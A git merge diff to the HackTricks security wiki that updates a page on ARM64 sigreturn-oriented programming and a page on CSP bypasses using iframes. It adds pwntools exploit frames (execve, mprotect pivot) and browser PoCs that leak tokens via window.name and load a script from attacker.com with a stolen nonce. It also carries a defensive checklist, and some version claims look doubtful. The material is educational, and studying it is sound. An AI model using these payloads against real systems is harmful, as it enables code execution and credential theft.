Merge branch 'master' of github.com:HackTricks-wiki/hacktricks

This commit is contained in:
carlospolop 2025-08-19 22:56:02 +02:00
commit 47ca570e97
2 changed files with 112 additions and 15 deletions

View File

@ -1,4 +1,4 @@
# SROP - ARM64
# {{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@ -94,7 +94,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -160,7 +160,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -189,7 +189,57 @@ And to bypass the address of `/bin/sh` you could create several env variables po
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}
---
## Finding `sigreturn` gadgets automatically (2023-2025)
On modern distributions the `sigreturn` trampoline is still exported by the **vDSO** page but the exact offset may vary across kernel versions and build flags such as BTI (`+branch-protection`) or PAC. Automating its discovery prevents hard-coding offsets:
```bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
Both tools understand **AArch64** encodings and will list candidate `mov x8, 0x8b ; svc #0` sequences that can be used as the *SROP gadget*.
> Note: When binaries are compiled with **BTI** the first instruction of every valid indirect branch target is `bti c`. `sigreturn` trampolines placed by the linker already include the correct BTI landing pad so the gadget remains usable from unprivileged code.
## Chaining SROP with ROP (pivot via `mprotect`)
`rt_sigreturn` lets us control *all* general-purpose registers and `pstate`. A common pattern on x86 is: 1) use SROP to call `mprotect`, 2) pivot to a new executable stack containing shell-code. The exact same idea works on ARM64:
```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```
After sending the frame you can send a second stage containing raw shell-code at `0x400000+0x100`. Because **AArch64** uses *PC-relative* addressing this is often more convenient than building large ROP chains.
## Kernel validation, PAC & Shadow-Stacks
Linux 5.16 introduced stricter validation of userspace signal frames (commit `36f5a6c73096`). The kernel now checks:
* `uc_flags` must contain `UC_FP_XSTATE` when `extra_context` is present.
* The reserved word in `struct rt_sigframe` must be zero.
* Every pointer in the *extra_context* record is aligned and points inside the user address space.
`pwntools>=4.10` crafts compliant frames automatically, but if you build them manually make sure to zeroinitialize *reserved* and omit the SVE record unless you really need it—otherwise `rt_sigreturn` will deliver `SIGSEGV` instead of returning.
Starting with mainstream Android 14 and Fedora 38, userland is compiled with **PAC** (*Pointer Authentication*) and **BTI** enabled by default (`-mbranch-protection=standard`). *SROP* itself is unaffected because the kernel overwrites `PC` directly from the crafted frame, bypassing the authenticated LR saved on the stack; however, any **subsequent ROP chain** that performs indirect branches must jump to BTI-enabled instructions or PACed addresses. Keep that in mind when choosing gadgets.
Shadow-Call-Stacks introduced in ARMv8.9 (and already enabled on ChromeOS 1.27+) are a compiler-level mitigation and *do not* interfere with SROP because no return instructions are executed—the flow of control is transferred by the kernel.
## References
* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html)
* [LWN "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -64,7 +64,7 @@ Therefore its possible to bypass the CSP of a page with:
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
@ -109,7 +109,43 @@ if __name__ == "__main__":
app.run()
```
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
#### New (2023-2025) CSP bypass techniques with iframes
The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`. A minimal PoC is:
```html
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
````
```javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
```
* **Nonce theft via same-origin iframe (2024)** CSP nonces are not removed from the DOM; they are merely hidden in DevTools. If an attacker can inject a *same-origin* iframe (for example by uploading HTML to the site) the child frame can simply query `document.querySelector('[nonce]').nonce` and create new `<script nonce>` nodes that satisfy the policy, giving full JavaScript execution despite `strict-dynamic`. The following gadget escalates a markup injection into XSS:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Form-action hijacking (PortSwigger 2024)** A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!
**Defensive notes (quick checklist)**
1. Always send *all* CSP directives that control secondary contexts (`form-action`, `frame-src`, `child-src`, `object-src`, etc.).
2. Do not rely on nonces being secret—use `strict-dynamic` **and** eliminate injection points.
3. When you must embed untrusted documents use `sandbox="allow-scripts allow-same-origin"` **very carefully** (or without `allow-same-origin` if you only need script execution isolation).
4. Consider a defense-in-depth COOP+COEP deployment; the new `<iframe credentialless>` attribute (§ below) lets you do so without breaking third-party embeds.
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
@ -138,21 +174,29 @@ When utilized, the `sandbox` attribute imposes several limitations:
- Navigation of the content's top-level browsing context by the content itself is prevented.
- Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
Tip: Modern browsers support granular flags such as `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine them to grant only the minimum capabilities required by the embedded application.
The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page:
Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
* Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
* Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
* Pop-ups spawned from a credentialless iframe get an implicit `rel="noopener"`, breaking some OAuth flows.
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- Exploit example: Self-XSS + CSRF
@ -219,7 +263,10 @@ Check the following pages:
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## References
* [PortSwigger Research Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}